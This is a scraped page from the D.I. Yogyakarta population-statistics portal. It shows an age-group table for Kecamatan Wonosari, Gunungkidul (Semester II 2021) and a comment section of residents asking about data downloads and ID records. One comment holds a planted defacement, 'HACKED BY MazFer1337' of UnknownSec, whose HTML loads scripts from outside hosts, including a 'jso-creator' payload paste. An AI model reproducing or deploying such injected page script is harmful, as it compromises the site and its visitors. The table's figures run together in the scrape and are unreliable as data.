Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN WONOSARI, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaWONOSARIKEPEKPIYAMANGARIKARANG TENGAHSELANGBALEHARJOSIRAMANPULUTANWARENGDUWETMULOWUNUNGKARANG REJEKTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun9371 164121105 22695104 1998065 14510191 1925348 1017954 1336161 1224443 873845 832521 465859 1175134 855967 126958 868 1.826
2 tahun6169 1307753 1305469 1235337 907158 1292535 604235 773740 772227 492229 511725 423232 642318 414141 82577 568 1.145
3 tahun5543 986675 1416049 1094037 774869 1172927 563631 673830 683028 582819 471914 334129 702024 443241 73542 516 1.058
4 tahun5847 1058768 1557359 1324837 854953 1023127 583337 703724 612523 482119 401822 402228 501720 373637 73555 501 1.056
5 tahun6247 1097071 1414947 964241 835748 1053038 683839 774639 853127 582628 541814 323432 662025 455634 90579 530 1.109
6 tahun6550 1156652 1186657 1233548 836353 1163038 683933 722935 642430 542627 53915 244634 802523 485441 95577 536 1.113
7 tahun5646 1029576 1715158 1095149 1006857 1252537 623636 724940 893122 532026 461911 304640 862429 533743 80608 570 1.178
8 tahun6872 1408875 1636869 1374442 866858 1262729 563839 773643 793026 562327 501724 413825 631618 344237 79603 584 1.187
9 tahun6549 1148085 1656478 1424939 886550 1153944 834042 824641 872617 433028 581825 434536 812821 494855 103643 610 1.253
10 tahun7759 1369597 1927474 1485254 1065671 1273725 625547 1024748 953532 673315 481918 374834 822121 425636 92705 631 1.336
11 tahun8063 14310494 1986273 1354747 947064 1342137 584536 815739 963320 534427 712220 423236 681523 384745 92679 624 1.303
12 tahun8469 15392108 2007669 1455440 947173 1442922 516948 1175140 913640 762623 491429 432841 692318 415253 105705 673 1.378
13 tahun9091 1819387 1807484 1586541 1066670 1364234 764862 1105038 884632 783026 562614 403336 692620 464945 94738 680 1.418
14 tahun7570 145103102 2057358 1314844 927054 1243143 745556 1113536 714032 724025 652924 535134 852323 464445 89717 646 1.363
15 tahun7574 14910688 1946264 1265946 1056341 1042931 605164 1154938 871916 353427 611815 333033 632014 344853 101663 604 1.267
16 tahun6460 1248283 1655956 1154244 865351 1043124 553543 784746 932239 612528 531721 384232 741818 364537 82582 582 1.164
17 tahun5796 1539691 1875462 1164351 945150 1013629 654839 875044 943228 603228 601119 303034 641820 383629 65594 620 1.214
18 tahun7475 1499393 1866771 1384538 836564 1292941 704345 883748 852435 593628 641922 413525 603124 555345 98651 654 1.305
19 tahun5954 1139393 1866567 1323835 736662 1283938 775242 945451 1052925 543341 742221 433130 612724 515644 100664 627 1.291
20 tahun6776 14310890 1986970 1394844 926269 1314536 815641 975151 1023435 693929 681215 273426 603328 616238 100720 648 1.368
21 tahun6853 12110084 1847175 1464042 826062 1223729 664550 954644 902027 474431 751821 393843 813827 654653 99671 641 1.312
22 tahun8665 1518777 1647266 1384443 877774 1514537 824948 974346 893327 602736 631519 343240 723521 563147 78676 646 1.322
23 tahun6056 1167968 1476157 1184648 945852 1104023 634441 854843 913223 552727 542716 433937 762823 514435 79633 549 1.182
24 tahun7254 1268782 1696168 1294744 916064 1242534 594450 943740 773639 753332 65918 273941 803435 693448 82618 649 1.267
25 tahun6353 1169574 1697261 1334542 876286 1483732 694941 905739 963230 623525 601219 314048 883430 643333 66666 613 1.279
26 tahun7687 1638672 1587260 1322949 787469 1434433 774842 904534 793231 632831 592014 344238 803638 744450 94676 648 1.324
27 tahun7462 13682105 1876770 1375047 976464 1283036 664144 853539 743124 553137 681116 274544 892326 495542 97639 656 1.295
28 tahun6664 1309387 1806259 1215248 1007272 1445329 823847 854047 872635 612324 471813 314642 882931 603843 81656 641 1.297
29 tahun6475 1397578 1536964 1334251 936847 1155234 864945 943838 763340 733129 602616 423738 752434 583836 74646 625 1.271
30 tahun6551 1167876 1546148 1094643 896061 1213938 774240 824958 1073525 603029 592023 435647 1032831 594743 90656 613 1.269
31 tahun6465 1297776 1535156 1073639 755253 1052331 544442 864847 952931 602124 451912 313341 742325 484252 94562 594 1.156
32 tahun6055 1156665 1314855 1034645 915566 1213014 444942 913430 642023 432426 50813 214337 801318 314046 86536 535 1.071
33 tahun6264 1266466 1305255 1075426 805457 1112431 554741 883629 652634 602014 34816 242638 641521 362935 64517 527 1.044
34 tahun7969 1485470 1246050 1103737 746449 1131937 563943 823741 782923 522124 45149 233439 731815 333739 76542 545 1.087
35 tahun5361 1146468 1325665 1213555 905956 1153832 703837 753525 602827 552227 491113 243438 722223 454129 70536 556 1.092
36 tahun7552 1279482 1767067 1374536 817971 1502933 625053 1033335 683431 652531 562018 384835 832828 563649 85666 621 1.287
37 tahun6078 13810689 1957979 1584151 926369 1323729 665064 1144146 873131 622429 531620 364028 682227 494546 91655 686 1.341
38 tahun7170 1418591 1768372 1554750 976673 1393638 745257 1093546 813931 703542 771918 374139 803224 564449 93685 700 1.385
39 tahun7183 15496104 2008577 1625564 1199762 1593439 733657 934564 1093840 783737 742336 594352 953924 635260 112751 799 1.550
40 tahun7974 15379105 1846167 1285864 1227686 1623438 725942 1014258 1003027 572831 591518 334234 762432 565054 104677 730 1.407
41 tahun6370 1339278 1706976 1454151 926765 1323732 694855 1035557 1123426 602839 672225 473331 643035 655342 95672 682 1.354
42 tahun7176 1479786 1838163 1445954 1138290 1723341 745748 1055441 952931 603331 642623 494134 752725 524945 94739 688 1.427
43 tahun7972 1517796 1736765 1325351 1046563 1283529 646948 1174447 913139 703930 691930 494426 703719 564544 89704 659 1.363
44 tahun7073 1438395 1786681 1476535 1006869 1373437 715064 1144851 993531 662530 552217 392729 562918 474444 88666 674 1.340
45 tahun6076 13697102 1995457 1116346 1096953 1223236 686054 1144455 993229 613927 662523 482233 551732 495455 109668 678 1.346
46 tahun5883 1418282 1646461 1254042 827473 1473640 765448 1024855 1032329 522943 721417 312252 742022 423962 101603 709 1.312
47 tahun8180 1619798 1957062 1325149 1007158 1292643 695250 1025041 912126 473335 682325 482939 682919 484641 87679 666 1.345
48 tahun6548 1137988 1675872 1304251 936964 1333443 772837 653733 703038 684432 762121 423935 742824 524048 88614 634 1.248
49 tahun6867 1358777 1646573 1384748 956859 1274039 794854 1024662 1083030 602931 602622 483538 734326 694841 89680 667 1.347
50 tahun4968 1176985 1545455 1093738 755571 1263241 735156 1074242 842133 543229 612426 502846 742125 465027 77565 642 1.207
51 tahun6979 1487590 1655958 1173453 875849 1074524 696853 1215139 902736 633730 672225 475948 1072640 665354 107683 678 1.361
52 tahun6364 12770102 1726981 1505363 1166671 1372835 635341 945358 1113831 693550 852427 514441 852723 505046 96673 733 1.406
53 tahun5566 1219885 1836062 1224955 1044953 1024338 814149 904241 832438 623739 762427 515640 962521 464042 82643 656 1.299
54 tahun7663 1397888 1666658 1244449 934649 952421 454344 873645 813935 743221 531315 283742 792837 653537 72597 604 1.201
55 tahun5966 1256578 1435656 1124434 784543 882930 593546 814027 672431 552135 561627 432833 611520 353131 62508 557 1.065
56 tahun7784 1616394 1576380 1435147 986583 1483340 734859 1074646 922734 613031 611816 343336 691220 322641 67592 711 1.303
57 tahun5662 1187078 1484443 872431 553747 841729 464232 744028 681918 372532 57914 232928 572019 394430 74476 491 967
58 tahun6275 1377473 1476947 1163943 825576 1313537 722645 713149 802837 652332 552014 344331 741729 463033 63552 621 1.173
59 tahun7075 1456063 1236547 1124851 994251 932831 593443 772942 712228 502526 511212 242827 553038 683030 60523 564 1.087
60 tahun6856 1245978 1372839 672929 584845 932823 513528 632748 752423 472524 491219 312727 542520 452733 60462 492 954
61 tahun5258 1106366 1295153 1043632 684548 932737 642843 713737 742625 513033 631715 323031 612836 644945 94519 559 1.078
62 tahun4948 976866 1344340 833432 666050 1102423 473338 713327 602729 562121 421310 232733 602621 472337 60481 475 956
63 tahun4052 925277 1294343 863039 694656 1021938 573344 773540 751743 603042 721628 443236 681711 282624 50436 573 1.009
64 tahun4660 1064758 1053246 782628 543934 731629 452333 562217 392519 442423 47314 172020 401824 421820 38359 425 784
65 tahun3146 775449 1032839 672442 664233 751826 442629 552922 512123 442116 372113 342733 601515 302828 56385 414 799
66 tahun3950 894048 883346 792135 562431 552528 533243 752426 502130 512022 42921 301632 481018 282225 47336 455 791
67 tahun3439 733743 802932 613837 753728 652315 383721 582325 481515 301011 211213 252116 372215 372317 40361 327 688
68 tahun3628 644540 852829 572131 522527 521916 352530 552131 522427 512822 50711 181816 341019 291320 33320 347 667
69 tahun2633 592828 563137 683918 573532 672314 372819 471513 282318 411912 31178 251511 261912 311916 35337 271 608
70 tahun2832 603835 732728 552723 503937 762313 362118 391215 271614 301925 44158 231914 33911 202418 42317 291 608
71 tahun2828 563540 752530 552123 442830 581219 312023 431427 411826 442215 3799 182316 391624 401928 47290 338 628
72 tahun1920 392835 631515 301519 342019 39155 201515 301511 261416 301012 2279 161513 28911 20138 21210 208 418
73 tahun1932 512931 602418 421721 383432 661311 241018 282426 501622 381621 37612 182214 36107 171114 25251 279 530
74 tahun1814 321522 372230 52814 22922 311116 27813 211013 231316 29915 2469 1587 151018 281211 23159 220 379
75 tahun1028 381722 391610 261320 331324 37116 171022 321019 29711 181411 25411 15106 1668 14314 17134 222 356
76 tahun1325 381417 311534 491212 241826 441215 27821 291414 28417 211313 26613 19613 191216 281312 25160 248 408
77 tahun914 231620 36819 27511 161111 22115 1698 1785 13811 191012 2254 936 973 1029 11112 138 250
78 tahun1421 351516 311420 34516 211414 28824 321213 251420 341419 33510 1574 111513 28411 15911 20150 212 362
79 tahun1813 312120 413029 591519 341222 34711 181513 281513 28128 201516 3175 12159 24920 291419 33205 217 422
80 ke atas7090 1608293 17571120 19177124 20167118 1855884 1424587 1325565 1204292 1344996 1453445 794998 1475362 1155188 139803 1.262 2.065
Jumlah4.6714.7069.3775.7785.84711.6254.4404.5639.0033.2753.3196.5944.4204.4258.8452.3782.4644.8423.2313.3006.5313.0243.0546.0782.1482.2804.4282.1782.2264.4041.3111.4242.7352.6492.6285.2771.8401.8523.6923.0053.0456.050 44.348 45.133 89.481
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih